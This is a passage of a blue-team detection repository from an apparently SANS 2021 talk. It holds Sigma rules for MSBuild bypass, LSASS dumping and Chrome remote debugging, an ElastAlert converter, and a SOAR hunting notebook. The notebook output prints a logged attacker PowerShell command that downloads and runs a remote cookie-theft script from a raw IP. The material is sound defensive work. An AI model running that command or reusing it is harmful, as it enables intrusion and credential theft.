├── README.md
├── chaining
├── cabs
│ ├── cab.yml
│ ├── detection1.yml
│ └── detection2.yml
└── str-cab2elastalert
│ ├── CAB2ElastAlert
│ ├── README.md
│ └── cab2elastalert
│ │ ├── __init__.py
│ │ ├── __main__.py
│ │ └── elastalert.py
│ └── elastalert_modules
│ ├── __init__.py
│ └── correlation_field.py
├── eradication
├── DEMO6.yml
└── STR SOAR Demo.ipynb
├── omega
├── examples
│ ├── CertutilObfuscation.ipynb
│ ├── PSObfuscation.ipynb
│ ├── Tony.ipynb
│ ├── demo-auto-drc.ipynb
│ ├── detection1.yml
│ ├── detection4.yml
│ ├── drc-EDR-SYM120-RUN.yml
│ ├── drc-app-registration.yml
│ ├── drc-hunt-rundll32-dllregisterserver.yml
│ └── drc_snippets_tempate.yml
└── vizr-extension
│ ├── .eslintignore
│ ├── .eslintrc.js
│ ├── .gitignore
│ ├── .prettierignore
│ ├── .prettierrc
│ ├── :select-last-run-cell
│ ├── DRC-05.ipynb
│ ├── LICENSE
│ ├── MANIFEST.in
│ ├── README.md
│ ├── Untitled.ipynb
│ ├── install.json
│ ├── package-lock.json
│ ├── package.json
│ ├── pyproject.toml
│ ├── setup.py
│ ├── src
│ └── index.ts
│ ├── style
│ ├── base.css
│ ├── index.css
│ └── index.js
│ ├── tsconfig.json
│ └── vizr-extension
│ ├── __init__.py
│ └── _version.py
└── yaml
└── validation
├── rare_behavior_schema.yml
├── rare_schema.yml
└── spike_schema.yml
/README.md:
--------------------------------------------------------------------------------
1 | # SANS 2021 - Blue-Team-as-Code Presentation - Omega/Examples [Further code/details sharing in progress]
2 |
--------------------------------------------------------------------------------
/chaining/cabs/cab.yml:
--------------------------------------------------------------------------------
1 | # omega - compound/second order attack behavior detection by Securonix
2 | title: Potential Attack Sequence - MSBuild LSASS Dump Modality
3 | tldr: Potential Attack Sequence - MSBuild LSASS Dump Modality
4 | action: threatmodel
5 | uuid: CAB
6 | stages:
7 | - omName: 'stage1'
8 | policy_uuid: detection-1 #Possible Applocker Bypass using MSBuild
9 | mandatory: true
10 | operation: 'ONEOF'
11 | sequential: false
12 | stageTimeUnit: seconds
13 | stagetimediff: 0
14 | - omName: 'stage2'
15 | policy_uuid: detection-2 #Potential LSASS Memory Dump
16 | mandatory: true
17 | operation: 'ONEOF'
18 | sequential: false
19 | stageTimeUnit: seconds
20 | stagetimediff: 30
21 |
22 | criticality: High
23 | violator: Activityaccount
24 | threatIdBasedModel: false
25 | weight: 0.0
26 | weightType: STATIC
27 |
28 | category: ALERT
29 | categoryid: 1
--------------------------------------------------------------------------------
/chaining/cabs/detection1.yml:
--------------------------------------------------------------------------------
1 | title: Possible Applocker Bypass using MSBuild
2 | tldr: Detects execution of msbuild.exe that can be used to bypass Applocker whitelisting
3 | id: detection-1
4 | omega_securonix_ueba:
5 | snpr_policy:
6 | violator: ActivityAccount
7 | category: ALERT
8 | threatname: User Execution
9 | functionality: Endpoint Management Systems
10 |
11 | logsource:
12 | category: process_creation
13 | product: windows
14 |
15 | detection:
16 | selection:
17 | Image|endswith: msbuild.exe
18 | CommandLine|contains: .xml
19 | condition: selection
20 | level: low
21 |
--------------------------------------------------------------------------------
/chaining/cabs/detection2.yml:
--------------------------------------------------------------------------------
1 | title: Potential LSASS Memory Dump
2 | id: detection-2
3 | tldr: Detects process access LSASS memory with GrantedAccess that is typical for dumping tools
4 |
5 | logsource:
6 | category: process_access
7 | product: windows
8 | detection:
9 | selection:
10 | TargetImage|endswith: '\lsass.exe'
11 | GrantedAccess:
12 | - '0x40'
13 | - '0x1000'
14 | - '0x1400'
15 | - '0x100000'
16 | - '0x1410'
17 | - '0x1010'
18 | - '0x1438'
19 | - '0x143a'
20 | - '0x1418'
21 | - '0x1f0fff'
22 | - '0x1f1fff'
23 | - '0x1f2fff'
24 | - '0x1f3fff'
25 | condition: selection
26 | level: low
27 |
--------------------------------------------------------------------------------
/chaining/str-cab2elastalert/CAB2ElastAlert/README.md:
--------------------------------------------------------------------------------
1 | # CAB2ElastAlert | A STR CAB converter for Securonix CABs#
2 |
3 | This is PoC of CAB to ElastAlert converter.
4 |
5 | ## Use ##
6 | ### Install ###
7 | Prerequisites:
8 | ~~~~
9 | python3 -m pip install -r requirements.txt
10 | ~~~~
11 |
12 | ### Run ###
13 | ~~~~
14 | usage: CAB2ElastAlert [-h] --sigmadir SIGMADIR --a2bdir A2BDIR --mapping MAPPING [--verbose] [--outputdir OUTPUTDIR] [cabs [cabs ...]]
15 | ~~~~
16 | Example:
17 | ~~~~
18 | python3 CAB2ElastAlert --sigmadir ~/sigma/ --a2bdir ../input --outputdir ../output --mapping ../../../str-omega/config/mapping.yml ../input/model-CAB-L12.yml
19 | ~~~~
20 |
--------------------------------------------------------------------------------
/chaining/str-cab2elastalert/CAB2ElastAlert/cab2elastalert/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/str-ext-community/blue_team_as_code/9b92ded9ab587620c478ce73362fad4c5404c7b6/chaining/str-cab2elastalert/CAB2ElastAlert/cab2elastalert/__init__.py
--------------------------------------------------------------------------------
/chaining/str-cab2elastalert/CAB2ElastAlert/cab2elastalert/__main__.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import sys
3 | import os
4 | import pathlib
5 | import yaml
6 | import argparse
7 |
8 | handler = logging.StreamHandler()
9 | handler.setFormatter(
10 | logging.Formatter(
11 | style="{",
12 | fmt="[{name}] {levelname} - {message}"
13 | )
14 | )
15 |
16 | log = logging.getLogger("cab2elastalert")
17 | log.setLevel(logging.INFO)
18 | log.addHandler(handler)
19 |
20 | class Cab2ElastAlertError(Exception):
21 | pass
22 |
23 | def searchByUUID(uuid, a2bdir):
24 | result = None
25 | for r, d, f in os.walk(a2bdir):
26 | for file in f:
27 | if file.endswith(".yml"):
28 | try:
29 | with open(os.path.join(r, file), 'r') as stream:
30 | detection = yaml.safe_load(stream)
31 | if detection.get("uuid") == uuid or detection.get("id") == uuid:
32 | result = os.path.join(r, file)
33 | except Exception as e:
34 | log.debug(e)
35 | raise Cab2ElastAlertError(e)
36 | if result:
37 | return result
38 | return False
39 |
40 | def createCorrelation(cab_obj, stages, outputdir):
41 | tmp = []
42 | for s in stages:
43 | tmp.append(f"detection_name:\"{s}\"")
44 | stages_query = " OR ".join(tmp)
45 |
46 |
47 | detection = {
48 | "name": cab_obj["title"],
49 | "match_enhancements": ["elastalert_modules.fixmapping.FixMappingEnhancement"],
50 | "type": "cardinality",
51 | "cardinality_field": "match_body.elastalert_correlation_username",
52 | "max_cardinality": len(stages) - 1,
53 | "index": "elastalert_status",
54 | "timeframe": {cab_obj['stages'][-1]["stageTimeUnit"] : cab_obj['stages'][-1]["stagetimediff"] },
55 | "filter": [
56 | {
57 | "query": {
58 | "query_string": {
59 | "query": f"(({stages_query}) AND alert_sent:true)"
60 | }
61 | }
62 | }
63 | ],
64 | "alert" : [
65 | "email"
66 | ],
67 | "email": "demo@elastalert.local"
68 |
69 | }
70 |
71 | with open(pathlib.Path.joinpath(outputdir, cab_obj['uuid'] + ".yml"), 'w') as outfile:
72 | yaml.dump(detection, outfile, default_flow_style=False, width=10000, sort_keys=False)
73 |
74 | def main():
75 | parser = argparse.ArgumentParser(
76 | description="CAB2ElastAlertconverter",
77 | formatter_class=argparse.ArgumentDefaultsHelpFormatter
78 | )
79 |
80 | parser.add_argument("--sigmadir", "-s", required=True, help="sigma directory")
81 | parser.add_argument("--a2bdir", "-a", required=True, help="a2b directory")
82 | parser.add_argument("--mapping", "-m", required=True, help="sigma mapping")
83 | parser.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output")
84 | parser.add_argument("--outputdir", default="./output/", type=str, help="default output directory for elastalert detection")
85 |
86 | parser.add_argument("cabs", nargs="*", help="CAB input file")
87 |
88 | args = parser.parse_args()
89 | if args.verbose:
90 | log.setLevel(logging.DEBUG)
91 |
92 | if len(args.cabs) == 0:
93 | log.info("Nothing to do!")
94 | parser.print_usage()
95 | sys.exit(0)
96 |
97 | if not pathlib.Path(args.mapping).is_file():
98 | log.info("mapping not found: [%s]" % args.mapping)
99 | sys.exit(0)
100 |
101 | if not pathlib.Path(args.a2bdir).is_dir():
102 | log.info("a2bdir not found: [%s]" % args.a2bdir)
103 | sys.exit(0)
104 |
105 | if not pathlib.Path(args.sigmadir).is_dir():
106 | log.info("sigmadir not found: [%s]" % args.sigmadir)
107 | sys.exit(0)
108 |
109 | if not pathlib.Path(args.outputdir).is_dir():
110 | log.info("outputdir not found: [%s]" % args.outputdir)
111 | sys.exit(0)
112 |
113 | #add sigma dir to path
114 | sys.path.insert(0, args.sigmadir+'tools/')
115 | from elastalert import ElastAlertBackend
116 |
117 | for cab in args.cabs:
118 | if not pathlib.Path(cab).is_file():
119 | log.info("CAB not found: [%s]" % args.cab)
120 | sys.exit(0)
121 |
122 | cab_file = pathlib.Path(cab)
123 | with open(cab_file, 'r') as stream:
124 | try:
125 | cab_obj = yaml.safe_load(stream)
126 | except yaml.YAMLError as e:
127 | log.debug(e)
128 | raise Cab2ElastAlertError(e)
129 |
130 | stages = []
131 | for stage in cab_obj['stages']:
132 | a2b_uuid = stage['policy_uuid']
133 | a2b_file = searchByUUID(a2b_uuid, args.a2bdir)
134 |
135 | if not a2b_file:
136 | log.error("A2B with uuid: %s not found in %s" % (a2b_uuid, args.a2bdir))
137 | sys.exit(0)
138 |
139 | backend = ElastAlertBackend(args.mapping, outputdir = pathlib.Path(args.outputdir))
140 | stages.append(backend.convert(a2b_file))
141 |
142 | createCorrelation(cab_obj, stages, pathlib.Path(args.outputdir))
143 |
144 | # time = datetime.now().strftime("%Y_%m_%d_%H%M%S")
145 | if __name__ == '__main__':
146 | main()
147 |
--------------------------------------------------------------------------------
/chaining/str-cab2elastalert/CAB2ElastAlert/cab2elastalert/elastalert.py:
--------------------------------------------------------------------------------
1 | import yaml
2 | from sigma.config.collection import SigmaConfigurationManager
3 | from sigma.configuration import SigmaConfiguration, SigmaConfigurationChain
4 | from sigma.parser.collection import SigmaCollectionParser
5 | from sigma.backends.elasticsearch import ElastalertBackendQs
6 | import pathlib
7 |
8 | class ElastAlertBackend(ElastalertBackendQs):
9 | def __init__(self, *args, **kwargs):
10 | mapping, = args
11 | self.timestamp_field = kwargs.get("timestamp_field", "etl_processed_time")
12 | self.outputdir = kwargs['outputdir']
13 | with open(mapping, 'r') as stream:
14 | self.sigmaconfigs = SigmaConfiguration(configyaml=stream)
15 | super().__init__(self.sigmaconfigs, {})
16 |
17 | def convert(self, a2b_file):
18 | with open(a2b_file, 'r') as stream:
19 | parser = SigmaCollectionParser(stream, self.sigmaconfigs, None)
20 |
21 | with open(a2b_file, 'r') as stream:
22 | a2b_obj = yaml.safe_load(stream)
23 |
24 | if "uuid" in a2b_obj:
25 | a2b_obj['id'] = a2b_obj['uuid']
26 |
27 | uuid = a2b_obj.get('uuid', a2b_obj.get('id'))
28 |
29 | parser.generate(self)
30 | result = self.finalize()
31 | #upate fields
32 |
33 | result['description'] = a2b_obj['tldr']
34 | result['timestamp_field'] = self.timestamp_field
35 | result['index'] = "logs-endpoint-winevent-sysmon-*"
36 | result['match_enhancements'] = ["elastalert_modules.correlation_field.CreateCorrelationField"]
37 |
38 | with open(pathlib.Path.joinpath(self.outputdir, uuid + ".yml"), 'w') as outfile:
39 | yaml.dump(result, outfile, default_flow_style=False, width=10000)
40 | return result['name']
41 |
42 | def finalize(self):
43 | # yaml.dump(detection, default_flow_style=False, width=10000)
44 | for detection_name, detection in self.elastalert_alerts.items():
45 | return detection
--------------------------------------------------------------------------------
/chaining/str-cab2elastalert/elastalert_modules/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/str-ext-community/blue_team_as_code/9b92ded9ab587620c478ce73362fad4c5404c7b6/chaining/str-cab2elastalert/elastalert_modules/__init__.py
--------------------------------------------------------------------------------
/chaining/str-cab2elastalert/elastalert_modules/correlation_field.py:
--------------------------------------------------------------------------------
1 | from elastalert.enhancements import BaseEnhancement
2 |
3 | class CreateCorrelationField(BaseEnhancement):
4 | def process(self, match):
5 | match['elastalert_correlation_username'] = "%s_%s" % (self.rule['name'], match['host_name'])
--------------------------------------------------------------------------------
/eradication/DEMO6.yml:
--------------------------------------------------------------------------------
1 | # omega - compound/second order attack behavior detection by Securonix
2 | title: Chrome Started With Remote Debugging Option CommandLine Analytic
3 | uuid: DEMO6
4 | description: Chrome Started With Remote Debugging Option CommandLine Analytic
5 |
6 | omega_securonix_ueba:
7 | snpr_policy:
8 | violator: Activityaccount
9 | category: ALERT
10 | threatname: Suspicious Access Pattern
11 | functionality: Endpoint Management Systems
12 |
13 | logsource:
14 | category: process_creation
15 | product: windows
16 | detection:
17 | selection:
18 | Image|endswith:
19 | - "chrome.exe"
20 | CommandLine|contains:
21 | - "--headless"
22 | - "--user-data-dir"
23 | - "--remote-debugging-port"
24 | filter:
25 | ParentImage|endswith:
26 | - "chrome.exe"
27 | condition: selection and not filter
28 | level: medium
29 |
--------------------------------------------------------------------------------
/eradication/STR SOAR Demo.ipynb:
--------------------------------------------------------------------------------
1 | {
2 | "cells": [
3 | {
4 | "cell_type": "markdown",
5 | "source": [
6 | "
STR SOAR Demo Playbook
\n",
7 | "Table of Contents
\n",
8 | "\n",
9 | "
\n",
10 | " - \n",
11 | " STR SOAR Demo Playbook\n",
12 | "
\n",
13 | " - \n",
14 | " Create Securonix Client\n",
15 | "
\n",
16 | " - \n",
17 | " Initialize SX SOAR microservice connectors\n",
18 | "
\n",
19 | " - \n",
20 | " Convert OMEGA rule to spotter query\n",
21 | "
\n",
22 | " - \n",
23 | " Hunt with query\n",
24 | "
\n",
25 | " - \n",
26 | " Build Process Tree Graph For sessionid's \n",
27 | "
\n",
28 | " - \n",
29 | " SX SOAR\n",
30 | "
\n",
31 | " - \n",
32 | " Retrieve hash from device by path\n",
33 | "
\n",
34 | " - \n",
35 | " Check hash at VT\n",
36 | "
\n",
37 | " - \n",
38 | " Delete file from device using SX SOAR Microservice\n",
39 | "
\n",
40 | "
\n",
41 | "
\n",
42 | " \n",
43 | "
\n",
44 | "
"
45 | ],
46 | "metadata": {}
47 | },
48 | {
49 | "cell_type": "markdown",
50 | "source": [
51 | "\n",
52 | "## Library initialization"
53 | ],
54 | "metadata": {}
55 | },
56 | {
57 | "cell_type": "code",
58 | "execution_count": null,
59 | "source": [
60 | "#!python3 -m pip install -r requirements.txt "
61 | ],
62 | "outputs": [],
63 | "metadata": {}
64 | },
65 | {
66 | "cell_type": "code",
67 | "execution_count": 1,
68 | "source": [
69 | "from vizr.STRVizr import STRVizr\n",
70 | "import pandas as pd\n",
71 | "import logging\n",
72 | "from IPython.display import HTML\n",
73 | "logging.basicConfig(level=logging.ERROR)\n",
74 | "\n",
75 | "\n",
76 | "import sys,os\n",
77 | "sys.path += [\n",
78 | " os.path.abspath('../str-omega'),\n",
79 | "]\n",
80 | "from omega.converter import STROmegaConverter\n",
81 | "\n",
82 | "pd.set_option('display.max_colwidth', -1)"
83 | ],
84 | "outputs": [],
85 | "metadata": {}
86 | },
87 | {
88 | "cell_type": "markdown",
89 | "source": [
90 | "\n",
91 | "## Create Securonix Client"
92 | ],
93 | "metadata": {}
94 | },
95 | {
96 | "cell_type": "code",
97 | "execution_count": 2,
98 | "source": [
99 | "client = STRVizr(host=\"https://****.securonix.net/Snypr\", token=\"****\", verify=False)"
100 | ],
101 | "outputs": [],
102 | "metadata": {}
103 | },
104 | {
105 | "cell_type": "markdown",
106 | "source": [
107 | "\n",
108 | "## Initialize SX SOAR microservice connectors"
109 | ],
110 | "metadata": {}
111 | },
112 | {
113 | "cell_type": "code",
114 | "execution_count": 3,
115 | "source": [
116 | "from vizr.soar.crowdstrike import Crowdstrike\n",
117 | "from vizr.soar.virustotal import VirusTotal\n",
118 | "\n",
119 | "cs = Crowdstrike({\n",
120 | " \"microservice_url\": \"...redacted\",\n",
121 | " \"client_id\": \"...redacted\",\n",
122 | " \"client_secret\": \"...redacted\"\n",
123 | "})\n",
124 | "\n",
125 | "vt = VirusTotal({\n",
126 | " \"microservice_url\": \"...redacted\",\n",
127 | " \"apikey\": \"...redacted\", \n",
128 | " \"server_url\": \"...redacted\" \n",
129 | "})"
130 | ],
131 | "outputs": [],
132 | "metadata": {}
133 | },
134 | {
135 | "cell_type": "markdown",
136 | "source": [
137 | "\n",
138 | "## Convert OMEGA rule located at /STR-UPS/i1-pass-the-cookie/stratum1 with id DEMO4 to spotter query"
139 | ],
140 | "metadata": {}
141 | },
142 | {
143 | "cell_type": "code",
144 | "execution_count": 4,
145 | "source": [
146 | "omega = STROmegaConverter(\n",
147 | " omega_rules_home = \"./omega\", \n",
148 | " mapping= \"./omega/mapping.yml\"\n",
149 | ")\n",
150 | "\n",
151 | "spotter_query = omega.convertByUUID(\n",
152 | " uuid = \"DEMO4\"\n",
153 | ")\n",
154 | "print(spotter_query)"
155 | ],
156 | "outputs": [
157 | {
158 | "output_type": "stream",
159 | "name": "stdout",
160 | "text": [
161 | "(rg_functionality = \"Endpoint Management Systems\" AND baseeventid = \"1\" AND (destinationprocessname ENDS WITH \"chrome.exe\" AND (resourcecustomfield1 CONTAINS \"--user-data-dir\" OR resourcecustomfield1 CONTAINS \"--remote-debugging-port\")) AND (sourceprocessname NOT ENDS WITH \"chrome.exe\"))\n"
162 | ]
163 | }
164 | ],
165 | "metadata": {}
166 | },
167 | {
168 | "cell_type": "markdown",
169 | "source": [
170 | "\n",
171 | "### Set time range for hunting"
172 | ],
173 | "metadata": {}
174 | },
175 | {
176 | "cell_type": "code",
177 | "execution_count": 5,
178 | "source": [
179 | "#format %m/%d/%Y %H:%M:%S\n",
180 | "time_from = \"04/05/2021 11:31:00\"\n",
181 | "time_to = \"04/05/2021 23:59:59\"\n",
182 | "timezone = \"EST5EDT\""
183 | ],
184 | "outputs": [],
185 | "metadata": {}
186 | },
187 | {
188 | "cell_type": "markdown",
189 | "source": [
190 | "\n",
191 | "## Hunt with query"
192 | ],
193 | "metadata": {}
194 | },
195 | {
196 | "cell_type": "code",
197 | "execution_count": 6,
198 | "source": [
199 | "spotter_query = '''\n",
200 | "baseeventid = \"1\" AND (destinationprocessname ENDS WITH \"chrome.exe\" AND (resourcecustomfield1 CONTAINS \"--user-data-dir\" OR resourcecustomfield1 CONTAINS \"--remote-debugging-port\")) AND sourceprocessname NOT ENDS WITH \"chrome.exe\"\n",
201 | "'''\n",
202 | "\n",
203 | "query = '''\n",
204 | "index=activity and \n",
205 | "%s\n",
206 | "''' % (spotter_query)\n",
207 | "\n",
208 | "df = await client.search(query, time_from=time_from, time_to=time_to, max=100)\n",
209 | "df"
210 | ],
211 | "outputs": [
212 | {
213 | "output_type": "stream",
214 | "name": "stderr",
215 | "text": [
216 | "processed: 1 requests: 100%|██████████| 1/1 [00:00<00:00, 1.48it/s]\n"
217 | ]
218 | },
219 | {
220 | "output_type": "execute_result",
221 | "data": {
222 | "text/html": [
223 | "\n",
224 | "\n",
237 | "
\n",
238 | " \n",
239 | " \n",
240 | " | \n",
241 | " _indexed_at_tdt | \n",
242 | " _version_ | \n",
243 | " accountname | \n",
244 | " accountresourcekey | \n",
245 | " agentfilename | \n",
246 | " baseeventid | \n",
247 | " categorizedtime | \n",
248 | " categoryseverity | \n",
249 | " collectionmethod | \n",
250 | " collectiontimestamp | \n",
251 | " ... | \n",
252 | " timeline | \n",
253 | " timeline_by_hour | \n",
254 | " timeline_by_minute | \n",
255 | " timeline_by_month | \n",
256 | " timeline_by_week | \n",
257 | " transactionstring1 | \n",
258 | " transactionstring2 | \n",
259 | " userid | \n",
260 | " week | \n",
261 | " year | \n",
262 | "
\n",
263 | " \n",
264 | " \n",
265 | " \n",
266 | " 0 | \n",
267 | " Mon Apr 05 16:38:00 UTC 2021 | \n",
268 | " 1696219194292436992 | \n",
269 | " DEMO-SYSMON | \n",
270 | " DEMO-SYSMON~demo-sysmon~demo-sysmon~1~-1 | \n",
271 | " 1_dest2021040516 | \n",
272 | " 1 | \n",
273 | " Evening | \n",
274 | " 0 | \n",
275 | " file | \n",
276 | " 1617640590014 | \n",
277 | " ... | \n",
278 | " 1617598800000 | \n",
279 | " 1617638400000 | \n",
280 | " 1617640500000 | \n",
281 | " 1617253200000 | \n",
282 | " 1617512400000 | \n",
283 | " Process Monitoring System | \n",
284 | " Microsoft-Windows-Sysmon | \n",
285 | " -1 | \n",
286 | " 15 | \n",
287 | " 2021 | \n",
288 | "
\n",
289 | " \n",
290 | "
\n",
291 | "
1 rows × 71 columns
\n",
292 | "
"
293 | ],
294 | "text/plain": [
295 | " _indexed_at_tdt _version_ accountname \\\n",
296 | "0 Mon Apr 05 16:38:00 UTC 2021 1696219194292436992 DEMO-SYSMON \n",
297 | "\n",
298 | " accountresourcekey agentfilename baseeventid \\\n",
299 | "0 DEMO-SYSMON~demo-sysmon~demo-sysmon~1~-1 1_dest2021040516 1 \n",
300 | "\n",
301 | " categorizedtime categoryseverity collectionmethod collectiontimestamp ... \\\n",
302 | "0 Evening 0 file 1617640590014 ... \n",
303 | "\n",
304 | " timeline timeline_by_hour timeline_by_minute timeline_by_month \\\n",
305 | "0 1617598800000 1617638400000 1617640500000 1617253200000 \n",
306 | "\n",
307 | " timeline_by_week transactionstring1 transactionstring2 \\\n",
308 | "0 1617512400000 Process Monitoring System Microsoft-Windows-Sysmon \n",
309 | "\n",
310 | " userid week year \n",
311 | "0 -1 15 2021 \n",
312 | "\n",
313 | "[1 rows x 71 columns]"
314 | ]
315 | },
316 | "metadata": {},
317 | "execution_count": 6
318 | }
319 | ],
320 | "metadata": {}
321 | },
322 | {
323 | "cell_type": "code",
324 | "execution_count": 7,
325 | "source": [
326 | "df.iloc[0]"
327 | ],
328 | "outputs": [
329 | {
330 | "output_type": "execute_result",
331 | "data": {
332 | "text/plain": [
333 | "_indexed_at_tdt Mon Apr 05 16:38:00 UTC 2021 \n",
334 | "_version_ 1696219194292436992 \n",
335 | "accountname DEMO-SYSMON \n",
336 | "accountresourcekey DEMO-SYSMON~demo-sysmon~demo-sysmon~1~-1 \n",
337 | "agentfilename 1_dest2021040516 \n",
338 | "baseeventid 1 \n",
339 | "categorizedtime Evening \n",
340 | "categoryseverity 0 \n",
341 | "collectionmethod file \n",
342 | "collectiontimestamp 1617640590014 \n",
343 | "customfield2 1617640590035 \n",
344 | "customfield3 1_dest2021040516 \n",
345 | "customstring1 Medium \n",
346 | "datetime 1617640577000 \n",
347 | "dayofmonth 5 \n",
348 | "dayofweek 2 \n",
349 | "dayofyear 95 \n",
350 | "destinationprocessname chrome.exe \n",
351 | "deviceaction ProcessCreate \n",
352 | "devicecustomstring3 Google LLC \n",
353 | "devicecustomstring4 0xCF86C \n",
354 | "devicecustomstring5 89.0.4389.114 \n",
355 | "devicecustomstring6 a3611358-3c10-606b-6cf8-0c0000000000 \n",
356 | "deviceexternalid a3611358-3c81-606b-e900-000000001000 \n",
357 | "deviceprocessid 4104 \n",
358 | "deviceseverity Information \n",
359 | "eventid 16e6667e-9b75-43e2-9cf8-5618a953f7f6 \n",
360 | "filehash 0C6A37537BE50D03C4C7D7FB1D64E881A2C363185712A1C0E1E2C86F2FAF3F19 \n",
361 | "filepath C:\\Program Files\\Google\\Chrome\\Application\\ \n",
362 | "flowsiemid a3611358-3c7c-606b-e800-000000001000 \n",
363 | " ... \n",
364 | "receivedtime 1617640620679 \n",
365 | "resourcecustomfield1 \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" https://google.com --user-data-dir=\"C:\\Users\\str\\AppData\\Local\\Google\\Chrome\\User Data\" --remote-debugging-port=9142 \n",
366 | "resourcecustomfield2 p.exe Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('http://143.198.121.254/ArWsFIfR/cookie.ps1'))\n",
367 | "resourcecustomfield3 Google Chrome \n",
368 | "resourcecustomfield4 Google Chrome \n",
369 | "resourcecustomfield7 C:\\temp\\p.exe \n",
370 | "resourcecustomfield8 C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe \n",
371 | "resourcegroupid 1 \n",
372 | "resourcegroupname demo-sysmon \n",
373 | "resourcename demo-sysmon \n",
374 | "rg_functionality DemoFunc \n",
375 | "rg_resourcetypeid 4 \n",
376 | "rg_timezoneoffset UTC \n",
377 | "rg_vendor DemoVendor \n",
378 | "sourcehostname win10-laptop004 \n",
379 | "sourceprocessid 1196 \n",
380 | "sourceprocessname p.exe \n",
381 | "sourceusername WIN10-LAPTOP004\\str \n",
382 | "tenantid 1 \n",
383 | "tenantname a1t1str1 \n",
384 | "timeline 1617598800000 \n",
385 | "timeline_by_hour 1617638400000 \n",
386 | "timeline_by_minute 1617640500000 \n",
387 | "timeline_by_month 1617253200000 \n",
388 | "timeline_by_week 1617512400000 \n",
389 | "transactionstring1 Process Monitoring System \n",
390 | "transactionstring2 Microsoft-Windows-Sysmon \n",
391 | "userid -1 \n",
392 | "week 15 \n",
393 | "year 2021 \n",
394 | "Name: 0, Length: 71, dtype: object"
395 | ]
396 | },
397 | "metadata": {},
398 | "execution_count": 7
399 | }
400 | ],
401 | "metadata": {}
402 | },
403 | {
404 | "cell_type": "markdown",
405 | "source": [
406 | "## Who spawn chrome with debugger port?"
407 | ],
408 | "metadata": {}
409 | },
410 | {
411 | "cell_type": "code",
412 | "execution_count": 8,
413 | "source": [
414 | "print(\"Parent Image: %s\" % df.iloc[0][\"resourcecustomfield7\"])\n",
415 | "print(\"Parent ID: %s\" % df.iloc[0][\"sourceprocessid\"])"
416 | ],
417 | "outputs": [
418 | {
419 | "output_type": "stream",
420 | "name": "stdout",
421 | "text": [
422 | "Parent Image: C:\\temp\\p.exe\n",
423 | "Parent ID: 1196\n"
424 | ]
425 | }
426 | ],
427 | "metadata": {}
428 | },
429 | {
430 | "cell_type": "markdown",
431 | "source": [
432 | "## Parent CommandLine is:"
433 | ],
434 | "metadata": {}
435 | },
436 | {
437 | "cell_type": "code",
438 | "execution_count": 9,
439 | "source": [
440 | "print(\"Parent CommandLine: %s\" % df.iloc[0][\"resourcecustomfield2\"])"
441 | ],
442 | "outputs": [
443 | {
444 | "output_type": "stream",
445 | "name": "stdout",
446 | "text": [
447 | "Parent CommandLine: p.exe Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('http://143.198.121.254/ArWsFIfR/cookie.ps1'))\n"
448 | ]
449 | }
450 | ],
451 | "metadata": {}
452 | },
453 | {
454 | "cell_type": "markdown",
455 | "source": [
456 | "## Device is:"
457 | ],
458 | "metadata": {}
459 | },
460 | {
461 | "cell_type": "code",
462 | "execution_count": 10,
463 | "source": [
464 | "device = df.iloc[0][\"sourceusername\"].split(\"\\\\\")[0]\n",
465 | "print(\"device: %s\" % device)\n"
466 | ],
467 | "outputs": [
468 | {
469 | "output_type": "stream",
470 | "name": "stdout",
471 | "text": [
472 | "device: WIN10-LAPTOP004\n"
473 | ]
474 | }
475 | ],
476 | "metadata": {}
477 | },
478 | {
479 | "cell_type": "markdown",
480 | "source": [
481 | "## Logon session is:"
482 | ],
483 | "metadata": {}
484 | },
485 | {
486 | "cell_type": "code",
487 | "execution_count": 11,
488 | "source": [
489 | "logon_session = df.iloc[0][\"devicecustomstring4\"]\n",
490 | "print(\"Logon session: %s\" % logon_session)"
491 | ],
492 | "outputs": [
493 | {
494 | "output_type": "stream",
495 | "name": "stdout",
496 | "text": [
497 | "Logon session: 0xCF86C\n"
498 | ]
499 | }
500 | ],
501 | "metadata": {}
502 | },
503 | {
504 | "cell_type": "markdown",
505 | "source": [
506 | "\n",
507 | "## Build Process Tree Graph For sessionid's "
508 | ],
509 | "metadata": {}
510 | },
511 | {
512 | "cell_type": "code",
513 | "execution_count": 12,
514 | "source": [
515 | "from pyvis import network as net\n",
516 | "import networkx as nx\n",
517 | "\n",
518 | "query = '''\n",
519 | "index=activity and \n",
520 | "baseventid=1 AND devicecustomstring4=%s\n",
521 | "''' % (logon_session)\n",
522 | "\n",
523 | "# print(query)\n",
524 | "# \n",
525 | "process_tree_nodes = await client.search(query, time_from=time_from, time_to=time_to, max=100)\n",
526 | "process_tree_nodes['UNIXTIME'] = pd.to_datetime(process_tree_nodes['datetime'], unit='ms')\\\n",
527 | " .dt.tz_localize('UTC' )\\\n",
528 | " .dt.tz_convert(timezone)\n",
529 | "\n",
530 | " \n",
531 | "G=nx.DiGraph()\n",
532 | "\n",
533 | "def create_graph(row):\n",
534 | " #parent meta\n",
535 | " parent_meta = \"\\\n",
536 | " Date: {}
\\\n",
537 | " LogonID: {} {}
\\\n",
538 | " Path: {}{}
\\\n",
539 | " PID: {}
\\\n",
540 | " CommandLine: {}
\\\n",
541 | " Child: {}\\\n",
542 | " GUID: {}\\\n",
543 | " Parent GUID: {}\\\n",
544 | " \".format(\n",
545 | " row['UNIXTIME'],\n",
546 | " row['sourceusername'], \n",
547 | " row['devicecustomstring4'], \n",
548 | " #row['destinationusername'],\n",
549 | " row['oldfilepath'],\n",
550 | " row['sourceprocessname'],\n",
551 | " row['sourceprocessid'],\n",
552 | " row['resourcecustomfield2'],\n",
553 | " row['destinationprocessname'],\n",
554 | " row['deviceexternalid'], #guid\n",
555 | " row['flowsiemid'], #parent guid \n",
556 | " )\n",
557 | " G.add_node(row['flowsiemid'], color='#30a1a5',size=20, title=parent_meta, label=row['sourceprocessname'],)\n",
558 | " \n",
559 | " #process meta\n",
560 | " process_meta = \"\\\n",
561 | " Date: {}
\\\n",
562 | " LogonID: {} {}
\\\n",
